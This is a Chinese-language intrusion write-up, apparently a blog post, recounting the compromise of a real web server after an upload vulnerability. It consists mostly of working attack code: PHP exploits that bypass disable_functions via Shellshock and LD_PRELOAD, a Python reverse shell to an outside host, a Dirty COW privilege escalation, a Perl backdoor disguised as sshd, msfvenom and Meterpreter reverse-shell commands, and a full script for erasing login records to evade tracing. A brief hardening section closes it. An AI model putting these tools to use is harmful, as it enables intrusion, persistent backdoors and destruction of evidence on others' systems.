0x01 前言
Getshell 的漏洞分析在:
https://getpass.cn/2019/09/06/An-App-distribution-system-upload-vulnerability/
然后搞了好久熬了一個晚上才弄好,中間走了很多彎路。。。
0x02
上一個 phpinfo 看下環(huán)境
PHP Version 5.6.30 disable_functions: passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru sendmail_path:/usr/sbin/sendmail -t -i MySQL: mysqlnd 5.0.11-dev - 20120503
!
看下 linux 的。
0x03
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and centos 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
0x04 新希望 LD_PRELOAD
按照了里面的一段代碼bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void preloadme (void)
{
unsetenv("LD_PRELOAD");
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}
編譯了一下
然后上傳調(diào)用文件 php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
利用 unix 的LD_PRELOAD和 php 的putenv
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("_evilcmd"));
}
利用 php 文件
<?php
putenv("_evilcmd=echo 1>/root/tmp/222222");
putenv("LD_PRELOAD=./evil.so");
mail('a','a','a','a');
執(zhí)行后去刷新了一下目錄,!!!!我去,成功了!
但是這樣執(zhí)行代碼總是有眾多不便的,比如沒有回顯,把命令帶參數(shù)執(zhí)行的時候會報錯等
還得繼續(xù)。。。
0x05
一個修復版的 bypass.c, 作者的解釋:
如果你是一個細心的人你會發(fā)現(xiàn)這里的 bypass_disablefunc.c(來自 github)和教程中提及的不一樣,多出了使用for 循環(huán)修改 LD_PRELOAD 的首個字符改成 ,如果你略微了解 C 語言就會知道 是 C 語言字符串結(jié)束標記,原因注釋里有:unsetenv("LD_PRELOAD") 在某些 Linux 發(fā)行版不一定生效(如 CentOS),這樣一個小動作能夠讓系統(tǒng)原有的 LD_PRELOAD 環(huán)境變量自動失效
然后從環(huán)境變量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 傳遞過來的待執(zhí)行的命令行。
用命令:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
將 bypass_disablefunc.c 編譯為共享對象 bypass_disablefunc_x64.so:
要根據(jù)目標架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項。
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '';
}
}
// executive command
system(cmdline);
}
劫持 getuid()
基本原理
前提是在 Linux 中已安裝并啟用 sendmail 程序。
php 的 mail() 函數(shù)在執(zhí)行過程中會默認調(diào)用系統(tǒng)程序 /usr/sbin/sendmail,而 /usr/sbin/sendmail 會調(diào)用 getuid()。如果我們能通過 LD_PRELOAD 的方式來劫持 getuid(),再用 mail() 函數(shù)來觸發(fā) sendmail 程序進而執(zhí)行被劫持的 getuid(),從而就能執(zhí)行惡意代碼了。
細化一下:
編寫一個原型為 uid_t getuid(void); 的 C 函數(shù),內(nèi)部執(zhí)行攻擊者指定的代碼,并編譯成共享對象 evil.so;
運行 PHP 函數(shù) putenv(),設定環(huán)境變量 LD_PRELOAD 為 evil.so,以便后續(xù)啟動新進程時優(yōu)先加載該共享對象;
運行 PHP 的 mail() 函數(shù),mail() 內(nèi)部啟動新進程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 調(diào)用的系統(tǒng)函數(shù) getuid() 被優(yōu)先級更好的 evil.so 中的同名 getuid() 所劫持;
達到不調(diào)用 PHP 的各種命令執(zhí)行函數(shù)(system()、exec() 等等)仍可執(zhí)行系統(tǒng)命令的目的。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
gcc -shared -fPIC bypass.c -o byapss.so
編譯了一下去利用,發(fā)現(xiàn)可以哦!
0x06
可以執(zhí)行命令了,執(zhí)行上反彈 shell,有交互的 shell 舒服多了,這里用 Python 的反彈腳本,一般系統(tǒng)有裝 python 腳本,我都會先用 pyhton,因為有一些系統(tǒng)的不一樣,bash 或者 nc 比較麻煩。
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
監(jiān)聽一波
反彈成功了
執(zhí)行uname -a看了下版本
Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
2.6 的版本上臟牛必中,可以不用在目標機子上面編譯,在自己的 Linux 環(huán)境編譯然后上傳到目標機子上面執(zhí)行
那就靜靜等待臟牛把 root 替換掉,然后臉上目標機子,大概要幾分鐘這樣子,去連 ssh 的時候有些管理員會把 ssh 的端口改了,用命令netstat -nlp就可以看到了。
已經(jīng)成功了,用戶名為firefart密碼是剛設置的 123456。
0x07
登陸目標機子后,記得及時恢復 /etc/passwd
cp /tmp/passwd.bak /etc/passwd
那些 pam 補丁、隱藏文件、suid、inetd 等都可以用作后門,看你環(huán)境。
1、這個 ssh 后門偽裝成一個 perl 腳本,名為 sshd,位于 /usr/sbin/sshd , 將系統(tǒng)原先的 sshd 移到 /usr/bin 下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
2、將真正的 sshd 移至 /usr/bin/sshd
mv /usr/sbin/sshd /usr/bin/sshd
3、將后門 sshd (perl 腳本移動至 /usr/sbin/sshd),并授予執(zhí)行權(quán)限
chmod +x /usr/sbin/sshd
4、重啟 ssh 服務
/etc/init.d/sshd restart
5、連接后門,記得安裝好 socat
sudo yum install socat
#socat STDIO TCP4:目標ip:ssh端口一般是22,sourceport=31334 socat STDIO TCP4:127.0.0.1:22,sourceport=31334
0x08
當然做內(nèi)網(wǎng)滲透必不可少的就是 msf 了,如果是 windows 的話推薦使用CobaltStrike非常 nice 的一個工具。
反正我們現(xiàn)在拿到 root 的 shell 了,先反彈一個 Meterpreter 的會話,還是常規(guī)的生成 payload,然后監(jiān)聽等待上線
1、先生成一個后門
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.79.132 LPORT=4455 -f elf > shell.elf
2、把 shell.elf 上傳到目標機子上面運行
3、在本地執(zhí)行監(jiān)聽
use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4455 exploit
4、執(zhí)行后門反彈 Meterpreter 的會話
chmod +x ./shell.elf ./shell.elf
5、查看跳板機處于哪幾個網(wǎng)段
run get_local_subnets
但是我這個是屬于外網(wǎng)的機子,后來想了一下感覺都不是內(nèi)網(wǎng)一點意思都沒有。。。
0x09
走之后記得清理痕跡,以防被溯源或者被管理員發(fā)現(xiàn)了。下面附上一個腳本供大家使用:
import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser
UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"
LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)
XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)
def getXtmp(filename, username, hostname):
xtmp = ''
try:
fp = open(filename, 'rb')
while True:
bytes = fp.read(XTMP_STRUCT_SIZE)
if not bytes:
break
data = struct.unpack(XTMP_STRUCT, bytes)
record = [(lambda s: str(s).split("", 1)[0])(i) for i in data]
if (record[4] == username and record[5] == hostname):
continue
xtmp += bytes
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return xtmp
def modifyLast(filename, username, hostname, ttyname, strtime):
try:
p = getpwnam(username)
except:
showMessage('No such user.')
timestamp = 0
try:
str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
timestamp = int(mktime(str2time))
except:
showMessage('Time format err.')
data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
try:
fp = open(filename, 'wb')
fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
fp.write(data)
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return True
def showMessage(msg):
print msg
exit(-1)
def saveFile(filename, contents):
try:
fp = open(filename, 'w+b')
fp.write(contents)
except IOError as e:
showMessage(e)
finally:
fp.close()
if __name__ == '__main__':
usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188
logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
parser = OptionParser(usage=usage)
parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
parser.add_option('-t', '--ttyname', dest='TTYNAME')
parser.add_option('-f', '--filename', dest='FILENAME')
parser.add_option('-u', '--username', dest='USERNAME')
parser.add_option('-i', '--hostname', dest='HOSTNAME')
parser.add_option('-d', '--dateline', dest='DATELINE')
(options, args) = parser.parse_args()
if len(args) < 3:
if options.MODE == '1':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.')
if options.FILENAME == None:
options.FILENAME = UTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '2':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.')
if options.FILENAME == None:
options.FILENAME = WTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '3':
if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
showMessage('+[Warning]: Incorrect parameter.')
if options.FILENAME == None:
options.FILENAME = LASTLOGFILE
# tamper
modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)
else:
parser.print_help()
0x10
1、此次滲透的入口點還是目標站點的程序出現(xiàn)的上傳漏洞,應該對程序的上傳點做過濾加白名單。
2、其實寶塔的功能已經(jīng)對 php 的執(zhí)行命令的函數(shù)做了嚴格的封鎖,但是還是有漏網(wǎng)之魚,在寶塔禁用的函數(shù)基礎上的 disable_function 里面加上putenv函數(shù)的禁用。
3、被用臟牛提權(quán),這個是內(nèi)核的漏洞,應該及時升級內(nèi)核版本,執(zhí)行以下命令,需要重啟。
Centos/RHEL 更新
sudo yum update
Ubuntu/Debian 更新
sudo apt-get update && sudo apt-get dist-upgrade
4、如果被植入后門了
應該及時查應該及時查看和本機的連接情況,可以用 netstat 查看。
查看用戶是否有改動, cat /etc/passwd 。
查看可疑進程 top
看和本機的連接情況,可以用 netstat 查看。
結(jié)束語:本人對計算機范疇的軟件、網(wǎng)絡、數(shù)據(jù)庫等很有研究,如果你在寫計算機論文方面有困難哪的話,可以與我溝通。






